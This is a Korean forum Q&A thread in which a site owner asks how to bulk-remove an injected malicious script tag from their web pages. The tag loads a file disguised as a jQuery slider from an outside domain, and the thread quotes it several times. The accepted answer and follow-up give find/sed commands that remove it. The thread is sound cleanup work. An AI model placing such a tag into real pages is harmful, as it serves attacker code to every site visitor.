채택완료

악성코드 감염 질문 코드 일괄삭제 문의

2019-06-24 (월) 14:59:07 1,962

<!-- --><script src="http://cbshfgyek.com/jquery.flexslider.min.js?ver=4.5.2"></script><!-- -->

</body>

파일마다 </body> 있는 페이지에 위에 스크립트가 심어져 있는데

일괄삭제 방법좀 알려주세요.

find /home/site/public_html -type f -name '*.html' -exec perl -pi -e 's|"<!-- --><script src="http://cbshfgyek.com/jquery.flexslider.min.js?ver=4.5.2"></script><!-- -->"|""|g' {} \;

이렇게 하니깐 삭제가 안되네요.

|

답변 1개 / 댓글 1개

채택된 답변
+20 포인트
2019-06-24 (월) 18:40:14

※ https://mydatum.tistory.com/entry/Linux-%EC%97%AC%EB%9F%AC-%ED%8C%8C%EC%9D%BC%EB%82%B4%EC%9D%98-%ED%8A%B9%EC%A0%95-%EB%AC%B8%EC%9E%90%EC%97%B4-%ED%95%9C%EB%B2%88%EC%97%90-%EC%B9%98%ED%99%98%ED%95%98%EA%B8%B0 

글을 참고 했습니다. ( find ./ -name "*.html" -exec sed -i 's/old/new/g' {} \; )

잘 될 지 모르겠습니다. (치환 대상 문자열 중의 '/'는 -> '\/' 로 입력했고 .html 은 html 확장자 파일 대상입니다. php 확장자 파일이라면 .php 입니다.)

find ./ -name "*.php" -exec sed -i 's/<!-- --><script src="http:\/\/cbshfgyek.com\/jquery.flexslider.min.js?ver=4.5.2"><\/script><!-- -->//g' {} \;

답변에 대한 댓글 1개

2019-06-24 (월) 19:17:58
감사합니다^^
<!-- --><script src="http://cbshfgyek.com/jquery.flexslider.min.js?ver=4.5.2"></script><!-- --> 여기에서
? 이것만 \? 하면 정상적으로 삭제가 되네요^^
감사합니다.

답변을 작성하려면 로그인이 필요합니다.